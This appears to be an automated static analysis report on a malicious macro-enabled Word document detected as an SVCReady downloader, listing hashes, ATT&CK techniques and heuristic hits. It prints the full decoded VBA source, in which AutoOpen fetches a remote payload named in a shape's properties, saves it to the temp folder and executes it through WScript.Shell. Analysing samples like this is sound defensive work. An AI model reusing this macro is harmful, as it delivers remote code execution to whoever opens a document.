Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 addd6c62f38bd5b0…

MALICIOUS

Office (OOXML)

111.4 KB Created: 2020-08-06 11:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: bacdaa48c95765f04c2124dc9e8d53b1 SHA-1: f477cda02895beabeb379b379882948595c064e9 SHA-256: addd6c62f38bd5b004abed3cf7edfece4d002ca56a35539f2657754be291bbea
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a function that downloads content from an embedded URL (likely obfuscated within the document's alternative text and title properties) and saves it to a temporary file named 'main.theme'. It then attempts to execute this downloaded content using WScript.Shell, indicating a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function b748164c(cf6204f1)
Set e3fbe721 = CreateObject("wscript.shell")
Call e3fbe721.exec(cf6204f1)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function b748164c(cf6204f1)
Set e3fbe721 = CreateObject("wscript.shell")
Call e3fbe721.exec(cf6204f1)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "a6e19865"
Sub AutoOpen()
Dim cb833018 As New c9e24717
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function a7a9c810()
a7a9c810 = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: a59cf6e72c272e3aa39be91f2553b0ad47961f7ec69df90e8e6fc9a02eae8812
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "a6e19865"
Sub AutoOpen()
Dim cb833018 As New c9e24717
Dim b466e57f As String
b466e57f = d894fe13(ActiveDocument.Shapes(1).AlternativeText)
e82a4fe6 = cb833018.e02e092e(b466e57f)
bd543dd2 a7a9c810, e82a4fe6
aeb23af3 = cb833018.b748164c(c5a46fa2 & " " & a7a9c810)
End Sub

Attribute VB_Name = "ba025a85"
Sub bd543dd2(aaeb8ff4, b9dd200e)
Dim d2870dbd
d2870dbd = FreeFile
Open aaeb8ff4 For Output As #d2870dbd
Print #d2870dbd, d477fcfa(b9dd200e)
Close #d2870dbd
End Sub
Function a7a9c810()
a7a9c810 = Environ("temp") & "\main.theme"
End Function
Function d894fe13(f7197503)
'd894fe13 = StrReverse(f7197503)
d894fe13 = f7197503
End Function
Sub da971eec()
End Sub
Function d477fcfa(b9dd200e)
d477fcfa = StrConv(b9dd200e, 64)
End Function
Function c5a46fa2()
c5a46fa2 = d894fe13(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "c9e24717"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function e02e092e(df77de2d)
Dim fa5db379 As Object
Set fa5db379 = New MSXML2.XMLHTTP60
aaa = fa5db379.Open("GET", df77de2d, False)
fa5db379.Send
e02e092e = fa5db379.responsebody
End Function
Function b748164c(cf6204f1)
Set e3fbe721 = CreateObject("wscript.shell")
Call e3fbe721.exec(cf6204f1)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: d721cb9a0e9ca4b196d7b4a131401eb08bf8a8f25ba1cc589c831e8e32f7cd9d

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